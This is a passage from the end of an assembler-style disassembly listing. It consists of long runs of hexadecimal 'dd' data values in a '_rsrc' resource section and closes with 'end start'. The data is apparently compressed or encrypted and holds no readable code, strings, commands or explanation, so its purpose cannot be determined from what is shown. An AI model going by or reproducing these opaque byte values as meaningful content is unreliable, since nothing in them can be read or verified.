0BBDA36C4h, 0F7A1312Dh, 82C32913h, 0BFB07A77h, 0E966F6E6h dd 92DD57CCh, 0B8E820DBh, 5AF807D8h, 63859FD1h, 0E0AF0F12h dd 96941536h, 4463F4E1h, 141DA2BFh, 0B9D3717Dh, 276DA70Fh dd 0B73AAAB1h, 282D8D18h, 40EA4B4Eh, 30D326CAh, 528423A0h dd 49141EB5h, 0AFC3130Fh, 0F8070F65h, 796AA332h, 8AAF5EE9h dd 0E75E292Bh, 2A07E28Dh, 0C5B3FBFAh, 92BDC1A1h, 764CD901h dd 15215D9Eh, 0A805E6B5h, 0A9BFA662h, 0AE15B039h, 0E2943126h dd 0A1B6CAB8h, 0CA91DD8Ah, 1EF15140h, 13313014h, 119E3BC3h dd 534893D9h, 0D4E24242h, 19C7154Eh, 478840F0h, 84D2073Bh dd 0FD0988CDh, 7B7B8B8Dh, 213D9A9Fh, 27515D41h, 0F3C07BAFh dd 416B5216h, 53072CDAh, 55309A1Fh, 11F76774h, 0C4C664F5h dd 0B0EF2588h, 55BC2C36h, 0D73ADFC6h, 1640A09Eh, 0A84C741Eh dd 513C2313h, 6354EA9h, 0B7BC484Fh, 8A87E717h, 0F893292Ah dd 5C5A3AA2h, 4F4DC4FCh, 5506EDEBh, 0DEA57F60h, 0D743B5F9h dd 224D7E2h, 67731BF6h, 4C58CAC7h, 1B276235h, 0D09E9E9h dd 0B4486C02h, 24583B0Fh, 0DD96BEA0h, 6406E69Ah, 0A5A02050h dd 0E6E252E7h, 28248487h, 6A65C5C8h, 0ABA7070Ah, 13BA1F1Ah dd 1E005219h, 0DC3567CEh, 4ADBCE94h, 0AE33BEB3h, 5141F3D0h dd 131EB29Ah, 0DDD75A72h, 8B833432h, 595CCAC4h, 0E138CAEh dd 0D1BC6968h, 9D8C2A2Eh, 2C40D4FFh, 0EEF39593h, 80C34D47h dd 71640011h, 2B2FE0C0h, 0CA87A682h, 0BEA84C5Bh, 60622D0Fh dd 3E2DE1C9h, 0F7E3849Eh, 0A38C2F71h, 76651014h, 363DC0E3h dd 0D6E08090h, 0BDA77637h, 48720319h, 2837D5DFh, 0ECF1AD99h dd 0DFBF5A5Bh, 40780F3Ch, 0B0ADBB5h, 0C0C16571h, 80900144h dd 7341F0E4h, 109AAA8h, 99D76B6Ch, 8A871A78h, 4243F8FBh dd 1729CCB9h, 0D8FA7A66h, 95913522h, 4757D591h, 101FBA95h dd 0C4C16154h, 8382353Fh, 3978EAF2h, 3D0EBF9Eh, 0EFD97072h dd 0FD9B2435h, 7934C5DAh, 0D5E48DB6h, 0C2A64E48h, 49710025h dd 2A33C2CBh, 0E4EEA183h, 0A4A8674Dh, 4C0B2A0Ch, 2201D8CEh dd 0EAE19889h, 0B4A14E67h, 1250141Ch, 726D7F5h, 0F3E7808Dh dd 0A5BC715Bh, 76631412h, 5B19C1CBh, 0C9ED9CBCh, 98AB5658h dd 6E781117h, 233BD3A1h, 0D7C54702h, 948F2717h, 4E50E5D4h dd 0D22C587h, 0DBC2517Ch, 8486203Ah, 584ECC8Ah, 1D1EA99Ah dd 0EAC06167h, 0B7F01137h, 5D64E6F5h, 111EA6BEh, 0DAD37B5Dh dd 82963A27h, 7957F6FFh, 0E1F9DD8h, 0DFD2754Dh, 0B88D2934h dd 5D25D2F5h, 0F9F38EAAh, 0AEAF6420h, 42690403h, 2629CACFh dd 0E6E8ABE5h, 0AAA06543h, 73790A1Ah, 2D01ACEBh, 0EBE4BB9Ch dd 89A96059h, 11741D06h, 3D37C2FEh, 0F0FF9AB5h, 0A6A55478h dd 5970191Fh, 3F28F7B8h, 0F3EBA994h, 0AEA85E5Fh, 706F2D7Dh dd 122DDBDCh, 0CBE63232h, 0E3963130h, 464BF6D3h, 5416B6A0h dd 0D0C24935h, 8CBB493Ch, 426DEFE8h, 3E6CA9A7h, 0C7E87A68h dd 9BB13522h, 535BE0FBh, 16A7A4h, 0D1E61552h, 999E1120h dd 5E56C9F0h, 0B1FAEB9h, 0CED94F19h, 9E92371Ch, 582DC9CFh dd 1AEDB2DDh, 95C3537Ah, 7264080Eh, 3323CFF4h, 0EFC181ABh dd 91C94C4Ah, 7C7F190Eh, 270DC0C8h, 8DEE8287h, 0BAA65D7Ah dd 7C78370Bh, 261CB2D5h, 0E1F997B3h, 0A7854147h, 7B7E011Ch dd 2A3DDFD2h, 0FEF296ADh, 0A8953B55h, 7F780F3Fh, 918DBCAh dd 0EFA0656Ch, 87900135h, 7441F0E3h, 306AAB6h, 0E9A77475h dd 8D9B0A33h, 7A4EFFE9h, 90FA3B8h, 0D5EB7D7Fh, 0AD841E4Dh dd 4453F7FCh, 111680B5h, 0DDDA7C66h, 0B9831953h, 5F6FE9F5h dd 1E35ADB3h, 0CDDF794Bh, 0FA903130h, 4C0FD4D4h, 17C78FB9h dd 0F1C34672h, 64752A2Bh, 2C34F6CFh, 0F6F48280h, 0A3A24671h dd 7C456B08h, 2429DCE7h, 0F8EE88B9h, 0CDA14045h, 7D410523h dd 3237C6C0h, 0E1FAA585h, 0B8B44047h, 797A1239h, 1658C1C4h dd 0FFECA88Ch, 0A2884248h, 70780908h, 3038D0F4h, 0D5FE928Dh dd 0E28F2E28h, 5674F7CCh, 3001B0ADh, 0D2D2746Fh, 8DA52426h dd 5358E5E5h, 1F99CAh, 0CEC46359h, 0BD8A2B22h, 5E58E3FAh dd 331D86B7h, 0E0DD677Ch dd 9A9F2427h, 656F98F3h, 190D8A97h, 0C9CE6F6Ah, 95913E59h dd 534CFAE9h, 0AE58BBFh, 0D1AD411Eh, 75670131h, 3720C2A1h dd 0F1F5898Bh, 0A7A65147h, 7A0A0F0Bh, 4A3DC8CDh, 0E8E28999h dd 0AEA15D2Ch, 0F641506h, 3425DFE6h, 0E7F79C83h, 0A7BB5870h dd 78773E11h, 5832DBD2h, 0FFEC96B1h, 0AFBF5448h, 5E68193Ch dd 3A33D3D2h, 0C5FB8A9Ch, 96813412h, 4A6B82E7h, 811A6B0h dd 0D7EA7163h, 0E8A62922h, 4F5DE7C1h, 180FA4B8h, 0C3C97C43h dd 0AF823C18h, 445ED98Eh, 171FA3B5h, 0D2D64166h, 989C1337h dd 727697F1h, 31289980h, 0FD94282Bh, 0A8FC1015h, 507DF9FFh dd 351AACB3h, 0EDC1587Bh, 714C043Ah, 260FCAC4h, 0C4FDA09Ah dd 0A1A27525h, 7A6C1C37h, 262BFCD1h, 0F4CE8E9Fh, 0A89F2D6Dh dd 7B6A3C0Ah, 243CD1F9h, 0D2E9B494h, 0D13AB033h, 7E44BD5Fh dd 0B056B6B6h, 99B3BB75h, 0DEB33950h, 77482B2Ah, 0F9037B8h dd 0F5CD2974h, 0B08E7F2Bh, 0B9B47ED1h, 0E562F2E8h, 325B08C2h dd 0E8D66AE2h, 0E9204C0Bh, 0C5EC449Dh, 9EAB3B19h, 0EE871DB2h dd 0A5D081E4h, 7240FC99h, 37BDD297h, 0F4F454C3h, 5662FEC4h dd 0ACFCD7D6h, 75321972h, 0FA931B33h, 563D8D9Ah, 7E148CDEh dd 0BFA07476h, 5002085Fh, 0D6BCF3F2h, 85B4C86Eh, 53397F7Ah dd 83843ABh, 163D562Dh, 990A6761h, 0C12F2C1Ch, 1F0EFBE0h dd 804CAF9Fh, 416FA3A6h, 0F8AFB7B8h, 99997444h, 5855AE8Eh dd 6569A210h, 4A5DB3C5h, 901A4A57h, 5F403E32h, 5EDF14FFh dd 6755C1BEh, 2410AC03h, 7DED4E49h, 954B0306h, 631ABAB8h dd 1A0B020Dh, 18A84DCAh, 34258707h, 6EC4C56h, 0CFD17193h dd 0B130085Bh, 0B3B1F947h, 75AE5353h, 62F1379h, 0F5BFE5D6h dd 8998F89Dh, 0ABAE0B59h, 6D6DCCCBh, 527C4823h, 0BB381F2Eh dd 0CC949E7Bh, 1E42928Ah, 0D083E721h, 0C6C525CDh, 0E5863A66h dd 4A78B21Dh, 19041680h, 0CDFB31ACh, 2FC03F3Dh, 5164AE8Bh dd 0F5832B72h, 0CE17B4F4h, 36DE7344h, 429C3171h, 9AB1F5C8h dd 188A3710h, 1C737811h, 2CA58942h, 248E04FBh, 8A2D4981h dd 241F7F89h, 653B104Fh, 122F3E56h, 0E8D45EA3h, 2B2A3C03h dd 0E6ECC7CAh, 0ADA90804h, 25C0B34Eh, 0C3E606EEh, 771AAF76h dd 5845F255h, 0FB35D191h, 65E01FC3h, 2C25195Dh, 0EBE65772h dd 6F06A633h, 3C0BB707h, 0F570185Fh, 8F92178Bh, 82D74B5Fh dd 4486A64Bh, 856AE289h, 5C773ACh, 24F1F30Fh, 0CE42A798h dd 4CBBE0E2h, 44D09A6Eh, 3F209BF8h, 0DCAF5AAFh, 6D248FB3h dd 173145FAh, 16129A21h, 0D90EB3B6h, 0AA8F8215h, 204BBD3Ah dd 9E184857h, 5F519DC1h, 0A1237EF0h, 0E5D3C41h, 241E7C8Ah dd 675BD790h, 325E0106h, 0E8D36F6Eh, 0AEA87903h, 6C67C2EEh dd 0ADC2580Ch, 0EEEA4EA5h, 647EDA8Eh, 0E7929AD0h, 0B39F2337h dd 637C9860h, 36339290h, 7A1E8587h, 0D1B77C49h, 0BAF85859h dd 0CDAF65C8h, 0E87BEBF7h, 0E4C9EB9Bh, 4970B0Fh, 1540A0A1h dd 0A4A5551Dh, 3AC32326h, 3729BCF0h, 89C3FFA7h, 9F64F19Dh dd 0A61DA27Bh, 595A396Ch, 25D953F8h, 0CB8DDDDCh, 3BAEFB7h dd 0D8848E25h, 0DA52829Eh, 0CEC1B7A0h, 578D7153h, 1C1673EDh dd 9E6B13BCh, 53C0E994h, 0B18B6BEBh, 734D2DD1h, 9CCB4191h dd 27A0302Eh, 0E7E04A82h, 0D507B87h, 0A2F03AC1h, 0FFA73727h dd 0C120DCB3h, 0ED768BBDh, 4FECCCCBh, 0F4AF7B1Bh, 0E68CDDD9h dd 2CD192A3h, 67734658h, 69B61527h, 7D25A80Eh, 0C4B19659h dd 727ADADBh, 0BEBCEC99h, 0C5C0DE5Eh, 0C106B0EAh, 78EE1DFh dd 0C4C323C2h, 73255BE4h, 76C7E057h, 0CDC9AEB8h, 4420B5Fh dd 420A2DADh, 251D6286h, 0C2DBBCEFh, 0FE0EBACEh, 2F487142h dd 0E9D7BD75h, 7193F3F6h, 0D9D53589h, 494749F8h, 0D857EEF2h dd 9F99F958h, 4CD3FDBCh, 0A61270BCh, 645EBE5Bh, 56D52038h dd 0E9D87EE9h, 28240803h, 4A6868C8h, 9687272Ah, 988C2E6Ah dd 1287F4F9h, 0F110B9EEh, 0D98EF16Eh, 83852425h, 4431EC13h dd 35CFCEEh, 48F2D37Eh, 42C65857h, 3A39BE88h, 8328382Dh dd 8D907589h, 0AE3E6D5Dh, 0A810F0CEh, 8281E1E9h, 0ADB44C66h dd 61640A0Fh, 96D359A5h, 0C87D7CBh, 0F9FF5DE9h, 0F78EE2A3h dd 1F4C9C80h, 908EED86h, 879E7EB4h, 0C6848E21h, 0D852829Fh dd 0A7888360h, 11E66537h, 4847262Ch, 0C9A7E9EBh, 9EA9D5FDh dd 20FF3FB9h, 1136B0EAh, 0E39D46C1h, 94B56F8Eh, 261B4344h dd 2300D80Eh, 6965C52Fh, 47265A09h, 0EBD95437h, 1D683600h dd 0DAE7CCFDh, 0B09E3E44h, 7C7BAB53h, 3302A2D6h, 0F0F87620h dd 0B6852556h, 0C7C8C2DDh, 0BC3A99A7h, 7B4AEAEEh, 34D41E92h dd 2FE5E4Fh, 0F6CC908h, 0DD480ADFh, 0ABB54665h, 54590001h dd 2F35DFCCh, 0C5EB8685h, 0BBA6444Dh, 0D9386B10h, 0BB1E6320h dd 6E0EBF34h, 0D38F452Ch, 78432689h, 0EFE73FAAh, 2F93C3E9h dd 0D7D53521h, 0E75A73FAh, 3DA74746h, 0D09D7450h, 0DEDB3B3Dh dd 6790D618h, 866C15C4h, 410B66AEh, 0D777CFB8h, 7224B4B4h dd 9737C3ACh, 998B9E9Dh, 0CE9DC249h, 34EF0882h, 0EB630C49h dd 0AFAE0FABh, 0D0985025h, 64329291h, 0E18CD8B8h, 0B58539B5h dd 7DFB09DEh, 0A5B089D8h, 7A4AEAEFh, 8B879193h, 1F7F5E6Bh dd 31BF509Ch, 80EBB28Fh, 743C254Ah, 3355552h, 6903335Ch dd 78D7E7D5h, 0F8F91A92h, 0C79E9468h, 144C9C81h, 811E2D69h dd 0CFCE7BAAh, 2A90176Fh, 5F26E8FCh, 0F8060CA0h, 3FD50519h dd 18177637h, 5A900635h, 2B96F9FAh, 0A9562572h, 1B75624Ch dd 365EBEBEh, 8E8195FEh, 0B4B44272h, 0ECD117Ch, 24EEC5F5h dd 2364043Bh, 3AEA3118h, 0A00BF902h, 59E1D481h, 0AD035F3Eh dd 0EE88D18Dh, 4357C1EAh, 8191D6A5h, 9D18FE4Ah, 877C7358h dd 0C43AC0B1h, 7666885Ch, 0B9F218AEh, 79CAD589h, 73CB5398h dd 403468D5h, 4BC3132Fh, 35B05E56h, 36469692h, 0B132CC67h dd 0FCC91916h, 393B50D2h, 3ACFA3A9h, 0BE721214h, 8D7AA6EDh dd 9911415Eh, 6262F53Dh, 0FEC3A3F2h, 0D4BF6537h, 1717771Dh dd 0DCA7EF37h, 9BA9EC81h, 0F72AAEC4h, 93E27D4Ch, 606EABC6h dd 0AE5FF883h, 1D1D79C5h, 17A10D7Dh, 0C65F5F4h, 0F1A76D06h dd 897CB617h, 0A12BBBA4h, 5C5C8B4Fh, 0AF4ECF0Ch, 0EE9A001Dh dd 1C0F0771h, 0F7FAD3E0h, 0B3852559h, 0F49D83D8h, 660B66C6h dd 48496F29h, 2C431C28h, 0FACE7200h, 0C732511h, 7A08E1ECh dd 7256DC3Ah, 8A055574h, 0F6CD9AF2h, 85B7D7A8h, 0F2D37DAEh dd 9D2095EDh, 4A7C9C9Fh, 0BCCA6061h, 0E6622F1Ch, 0F5F3DAAFh dd 4C263722h, 0C2C2F3C1h, 85846560h, 3A16E28Bh, 0A708B886h dd 0AAB2346Dh, 0A8FEF83Ah, 78275741h, 333CDFD3h, 0E1A59B9Ah dd 8E842932h, 0A11B0EEh, 4A08A8A0h, 0F4A6372Bh, 0ADBC1B1Eh dd 5F69D6C5h, 20EB9B8h, 0C3C24E78h, 82803D39h, 6C45F4DDh dd 400B783h, 0C0D1777Bh, 959E050Fh, 775CFDE6h, 0B1CBAB5h dd 0D8EB476Bh, 9F903C2Bh, 4F4DFAEEh, 0CE9A680h, 0D3A3557Bh dd 6D6B3433h, 1F3CC6C8h, 0EBE792B0h, 0A2BA4941h, 6E651836h dd 162EC7C1h, 0E4F899ABh, 0B7A75C43h, 7F511408h, 3238DDDFh dd 0FCFB8690h, 9888475Dh, 1662051Dh, 0C11F8E5h, 0DFCAB9AFh dd 0B8B37766h, 726F1309h, 801C9DBh, 0CEFA9096h, 0A1BC3336h dd 4150F0F7h, 335B7AAh, 0C8CC7674h, 90A21B29h, 5846E5F8h dd 386AB8AFh, 0C8CB7E6Dh, 9D810639h, 303290FAh, 727181D0h dd 0C1C31312h, 999C2D3Ch dd 5D43F9BAh, 814B6A4h, 0D7D33479h, 0B4FC333Fh, 1C75DDD3h dd 1111B0B5h, 0C8BB436Fh, 44503655h, 92784F3h, 0A5CBACACh dd 0B4AE5103h, 23A1C12h, 4A4A42FDh, 0DD6EBEAh, 0FDEDCBC1h dd 608AA96Dh, 515080BAh, 0BFBC640Eh, 3C123303h, 7C44016Bh dd 0B9E33DA8h, 0C397C7D3h, 0AEF70596h, 239A1D51h, 7C29A142h dd 8D6C4072h, 94543F71h, 4284D680h, 68E74F61h, 28A4342Dh dd 0D8CD72C2h, 6CA17288h, 92274530h, 4FAABAF7h, 1158C082h dd 582FBFA2h, 7270D1D4h, 8A27ED44h, 1DF4647Fh, 3636961Dh dd 6DDE525Bh, 0D3E91928h, 5F53159h, 0C11D40Fh, 5A025DDCh dd 0CEB52416h, 1026AB7h, 5F0A1h, 0C9C8A0CDh, 0DB53D925h dd 308584Ah, 205DDD68h, 0E462BAE8h, 3233D3D5h, 3F25B7F8h dd 258F2AAFh, 7B400FF3h, 0D4D23238h, 49573227h, 1C7BE6F9h dd 6596BAB4h, 0EBF425AFh, 0E45B927Bh, 0EAD64442h, 0A1ACD000h dd 0E2DF3A29h, 0B1DFD682h, 6651EDE5h, 0A7A30EEEh, 0BAA11947h dd 7862D1C1h, 382D9499h, 52FC0A4Fh, 0DEC7A5D8h, 3029668Eh dd 3A33CFD0h, 0E0E5425Dh, 610C0553h, 3605BE7Dh, 29271FE5h dd 0D3E91B72h, 0FAFA3258h, 0C36ADC9Ah, 4E562C49h, 40479C1Eh dd 8C51422Bh, 736E5D34h, 1E0E6EE3h, 0ACC51502h, 126F3566h dd 1B48A8A8h, 0F91C16BAh, 32CB1B00h, 3F26A0F8h, 514546AFh dd 0C0DAEFF1h, 0E6E26376h, 5A5F375Ah, 19C14BB6h, 7295C5D4h dd 0DBD73730h, 6F690A0Ch, 392ED4D4h, 5ECBFBBEh, 0D2F6E4D4h dd 0C19AF682h, 6960F0EFh, 0F52F8F37h, 61E4745Eh, 1A0A710Dh dd 0F99896CAh, 0AD99254Dh, 0EEEF23DEh, 85A08D8Eh, 725ED78Fh dd 6E0D9D4Bh, 1CF2627Fh, 0C9CB6668h, 0DCF012B0h, 0B9B72738h dd 5C5CDA09h, 3C3BABBAh, 5E184951h, 0EBEE1E2Eh, 16A6135h dd 4343C9F3h, 107D62E3h, 0C6F408C4h, 7D5CA6E3h, 0DDCA2A8Ah dd 0DE88D8CAh, 78472C46h, 0F3C4CC9h, 11DFBFBh, 671BCA0h dd 0D4E01CD6h, 0CB878D2Ch, 9E53839Ah, 0AABA0A7Dh, 0B53E363Ah dd 0E2E78789h, 6F4BC430h, 0ED1F3DFFh, 0B4DC0C54h, 0CC2D21D6h dd 99A04D9Dh, 0B2ED84C1h, 0BCB54377h, 60CDB1D7h, 0AB993938h dd 9DBD4489h, 0B1921C4Dh, 0C21764BAh, 0F7AA322Fh, 0B39F1A5Eh dd 0A0873405h, 0B3BE5AA7h, 7844E499h, 0E8E74749h, 0ABA90909h dd 100F0F65h, 0EB84DBECh, 0BF8D3133h, 75E0B79Eh, 424C48D4h dd 0CCD2E1E2h, 95827468h, 4B414B2Ch, 0DCB9A6EBh, 8BB7CBA8h dd 0CCC925C3h, 5D43386Ch, 311AD8CBh, 0D3E8989Ch, 46307F32h dd 15215AAAh, 0A8E73F26h, 0F193C3DBh, 0DAD535F1h, 0E3171D2Ch dd 6E74A129h, 720C74FEh, 6CDB0B5Fh, 1330BA3Ch, 320CE8C3h dd 8D4595FAh, 23614276h, 0C6B1098Bh, 3B65F5D6h, 0FAA66D5Ch dd 0EDEB211Eh, 0FCD40B8Dh, 8E96D127h, 80138DEEh, 0F3F06047h dd 0BD5A99E7h, 8873D3C6h, 88997C82h, 0F9FBBF58h, 686E9999h dd 4E319994h, 0F2F8322Fh, 6A015E12h, 41708CDEh, 83868972h dd 714E2323h, 6357DD2h, 0E5FB2BFFh, 6287D7C4h, 3436D8A6h dd 0D0B6783h, 105FBADh, 0C5C8A3A6h, 9E836B1Fh, 55848E72h dd 0D3528298h, 0AD17FC36h, 4AD5353Ah, 1B177211h, 0A9ED35BBh dd 0C699C9E5h, 0CC1286B2h, 77F57DB0h, 0E7A14133h, 958CCDB9h dd 62ED4245h, 28248696h, 6BF52949h, 0C3F3070Ah, 0ECE9484Ah dd 2861E73h, 0B4EDCCFEh, 0B1AE0F80h, 9824DB01h, 0A1CDC092h dd 7643FF19h, 0C2ECD593h, 0EB7F3F5Ah, 0AFC69998h, 7C4AF6B3h dd 3FFEF7h, 0FECE7EFBh, 0CD69D59Eh, 0B2A14B65h, 563C7322h dd 53549DAh, 0C3496620h, 8987E66Eh, 41C569A2h, 833B946Ah dd 7E6C0A29h, 6E082BEEh, 0D0CF1F1Eh, 127B711Bh, 0C0ADB0D9h dd 97A3DF30h, 0D72ACDB4h, 1A1617FCh, 0C9D52BBAh, 9EA9D95Eh dd 8C892B54h, 0DA8E880h, 0A3DBBEF1h, 0A5E0850Ch, 586F4244h dd 2714A441h, 188DCD76h, 0C258F8FFh, 0EBE949DEh, 0A4CDA0D5h dd 9038E8F9h, 80823F9Ah, 234DDD50h, 8232A2B1h, 83213BD2h dd 2338EAEAh, 0F7C777E9h, 2D5199FDh, 297ADAD9h, 7D29E348h dd 70FE6E70h, 0B25484D9h, 0B1B1AE4Ah, 74CC7321h, 2041EE68h dd 4EA667B0h, 9A86ADE4h, 83DB2B62h, 2F4F606Ah, 42AD2CA3h dd 0DE850D2Ch, 0C0EB6B24h, 9F41438Fh, 647E4D0Fh, 968F1BF4h dd 0F9F03536h, 37370F41h, 61789699h, 0B3BCDCDEh, 0A6FE4305h dd 2A6E585Eh, 2C17F18Ah, 5CF70022h, 0D4C9A7D6h, 8AE00584h dd 265C5C6h, 0FAF05708h, 0C628DCB6h, 0A1A08BBAh, 6E5CD9FEh dd 0B44D0E64h, 0A1FD9924h, 32329778h, 1056F5D2h, 4AE2151Eh dd 0C6DCB2C0h, 34FD1A96h, 12713188h, 0BBBC1C12h, 0DC26E3D6h dd 6D17A0ACh, 0AC407421h, 1462310h, 0B688311Fh, 45768A5Ch dd 92B54266h, 45C92917h, 3A2595E5h, 268287AAh, 0DDDBBCECh dd 0E372BAD1h, 0E992715Fh, 0C27DCCB1h, 201E0D78h, 0D6E519CAh dd 0B6E57AC6h, 0B238A8CDh, 63660FA0h, 3ECC495Dh, 1E6AF074h dd 0AED55454h, 1F2DCE2Ah, 0E3D26EBDh, 0D2A32070h, 98367C2Eh dd 988BB692h, 8654C948h, 2A2BBB9Ch, 5D04E6BFh, 51AE0E78h dd 0DFDC39DBh, 0CF8F128Fh, 7373E3FFh, 31720467h, 0F5C777F2h dd 37399995h, 57845F11h, 53BC1C29h, 401A052h, 3D4462C6h dd 517E5450h, 3F95232Fh, 322968F5h, 0BBBE25A2h, 863C63EBh dd 42402926h, 93B5B64h, 0B41AACC3h, 0BDA1B07Eh, 0C10FAA2Dh dd 1011D5EAh, 29299B0h, 0C49099A2h, 0D5BD345Eh, 41D77775h dd 72A92D48h, 631AF9C9h, 0EE5F34C4h, 971D7D78h, 506EB93Bh dd 0AA2D8D00h, 6FE27271h, 14149717h, 0C3794C4h, 32585706h dd 0E8D96552h, 25D4730Bh, 6C68CC4Eh, 52AE640Ch, 0DEC057F8h dd 21A76D8Eh, 0F173E3FCh, 37BAEAEAh, 0F4F754BAh, 6221C1Dh dd 0B149DAE6h, 0E9EDDF1Bh, 0ABFA3408h, 0C471565h, 0EB7EE1ECh dd 0BFF308EBh, 850AA5DAh, 4346A564h, 0E2ED0h, 0C6F9193Ah dd 605A3A37h, 4A43ACB7h, 0C91812BAh, 48CF1F00h, 71957EADh dd 0D852B2ACh, 0A3A3D074h, 9F5EF633h, 7644CF4Ch, 8A6BB8B6h dd 6B6E38FBh, 5E52DACDh, 1D2D4D54h, 0E762F536h, 0A19FE433h dd 23E29372h, 0C5D47275h, 5643414Dh, 0A8650636h, 11EE03F0h dd 79A7BC6Bh, 2FDCC4D2h, 0E47D0E18h, 0EDC78E26h, 6F0B105Eh dd 8B1CBBA7h, 30FD0A66h, 86F75A29h, 0A73134Bh, 7B6D9B5Dh dd 0FD360B5Ah, 230AA211h, 0B9045EB9h, 7EB0D0C7h, 0FB497BDDh dd 898D687Bh, 4345A519h, 0B44526D0h, 0F6E61F17h, 39245A48h dd 13FE588h, 0FCE08298h, 0A3A7004Dh, 51D1F0Bh, 37388D8Ch dd 0F6FF9383h, 0B7A64713h, 627E5449h, 776DC7C2h, 0D1ECB6D7h dd 0ABB65448h, 7375521Ah, 2D72D2DBh, 0C8A1D19Ch, 0C2C2717Ch dd 5046EBF5h, 4652FEACh, 0C0CC606Eh, 0D9DA332Fh, 535DFAA8h dd 4E57AFA6h, 0C9DE636Eh, 0DED43C28h, 1F0CAEACh, 1303B7B9h dd 0BE8D767Fh, 7F0BDE59h, 6078C19h, 0FB3668D6h, 17481EF1h dd 0C57D552Ch, 524CD5EEh, 0F5BC2BA9h, 0A44CAAE0h, 0B103536Fh dd 46AD279Dh, 6BF04B11h, 0B3E818A5h, 94EE291h, 9595758Dh dd 0C3C9D635h, 25B87468h, 0E7F14422h, 5150B283h, 9391A999h dd 253B6833h, 62EA8A89h, 43DB3D96h, 1797C7C8h, 14F2380Eh dd 2E27F635h, 0D8F84F40h, 0A0E37026h, 0C56A8ACCh, 0D7DD81B2h dd 0A9E90160h, 1A290FEDh, 0E8D668B8h, 19F70374h, 0D556503h dd 0D7970D7Eh, 0CEC14F3Ah, 4473B324h, 65EEC3Ch, 0C6B22ECFh dd 7FC9B7BBh, 65B35095h dd 7877E7E6h, 0FCE15C25h, 0C7C92F59h, 3C6FDEC9h, 815BF5A8h dd 82C0DFE1h, 14F3617h, 137EB1D5h, 0F184B4ABh, 95871B2Eh dd 8D076836h, 0B5B657E9h, 0BCD96F14h, 0FE272C1Ch, 0F0F0F184h dd 6C4C2450h, 0D0DEB9A6h, 2AF5B63Ch, 41298B8Bh, 571BE0F5h dd 6568EA7Ch, 988F05C5h, 99154848h, 0A0A445ACh, 0F5CFACC2h dd 0E45A310Eh, 17DF7F7Ch, 9B4F291Fh, 23ACFCF9h, 171AB8BEh dd 3CCF55BBh, 8468C8CAh, 5255F455h, 0EEEC4CA5h, 0DDAFD38Eh dd 725FE6E9h, 0B3B023FBh, 0C60C3753h, 616201Fh, 0F112D6E6h dd 0EA05983Ah, 0FBFA6A69h, 92D496EFh, 97822222h, 0BFBF1E0Dh dd 4C3FE039h, 4BC7ADFBh, 0E83E3E2h, 18C6197Bh, 583CE600h dd 0B2CDA7EDh, 7B89E9EAh, 0EDCB3D6Fh, 8A026D6Dh, 514EAE44h dd 91D3AC07h, 0D430B53Ch, 68927374h, 78749496h, 4E11FAD8h dd 33D7373Ah, 0E2E684DCh, 5F9338B2h, 0E310FBFFh, 0F297B649h dd 206CBEA9h, 638B00F7h, 0ED2BCA05h, 0C361CD57h, 0C226B6B8h dd 93983A9Ch, 0ADA9A6E4h, 0C976C04Dh, 332DBDBEh, 425EE54Dh dd 4FDEF812h, 70FDADACh, 3634941Bh, 4856605Dh, 0E73C1728h dd 12275A65h, 0C3C466CDh, 34FDA1AEh, 0BFBE7E3Ah, 57FEEBBFh dd 0CE55DBA2h, 0B592E256h, 0D6BE2725h, 80095DFh, 0EFB4F0A8h dd 8E6BE95Bh, 93958EDFh, 9D3D633Fh, 51CF2A22h, 1AE8EEF1h dd 2B2FABA3h, 0F3C29A8Bh, 0D3094C49h, 0D097F8B2h, 0DD97BB2Ah dd 94303B50h, 5F59E63Ah, 81DC3DFFh, 0C2FC1C61h, 0AF36350Bh dd 0E3D4AF8Eh, 0A7913121h, 9BEB097Eh, 226F0C8Bh, 0EF7684CBh dd 26A8506Fh, 0DEDA65C8h, 386E8D8Eh, 413D8ED1h, 91246BC0h dd 0ACF3DE37h, 6342E17h, 7774D4E6h, 464A829Ch, 0D94DA7A6h dd 0C33AAAAAh, 4E57B649h, 0A008E21Eh, 0FFFF6F6Fh, 726B6D35h dd 8F0C6CE2h, 48C31314h, 373576F0h, 2314F7A7h, 8C3218E9h dd 33C9191Bh, 3E270EF9h, 57F953AEh, 6D8DDDC0h, 0E3E4E2A7h dd 0EAA4FC73h, 0A852829Bh, 0A9A3F042h, 4F2A6339h, 1C275B27h dd 6E5F1D3Fh, 6399F9CEh, 0E1DB3BA8h, 22772081h, 4FB35342h dd 56F80035h, 9F678349h, 0AC24B492h, 0A3E60609h, 6DA8F7F4h dd 0DDFC31C9h, 3F16488Dh, 46CE6CFh, 0CE2F680Dh, 829C5C76h dd 0DD5281E6h, 888C2C11h, 0E35D1062h, 1108A8A5h, 0C4C6664Bh dd 5085F4BAh, 0AC884A65h, 0FFFE7EE6h, 0E4A8C09Fh, 0F67E1E1Eh dd 0E087A81Ah, 0F9B0E854h, 0C3469688h, 0BE1EFB8h, 0B8CB2F10h dd 0D633D4Eh, 0C44C53ADh, 0C38D872Bh, 7B5AD061h, 9711415Eh dd 68D3BA70h, 0C4ACCCAAh, 1F56364Dh, 0E61F9F7Dh, 22B04744h dd 0FE660602h, 0E0BF83FCh, 93F67D80h, 645E977Ah, 0A5B0E804h dd 0C6204245h, 28143C86h, 698DC5C8h, 69A7070Ah, 0B864496Fh dd 0E687A8h, 0C6C344Dh, 0B1466E09h, 79F05051h, 6902B6C6h dd 9BF2C95Fh, 0B7853EA1h, 71950BFh, 3EFBF867h, 0Dh dup(0) dd 1500h dup(?) _rsrc ends end start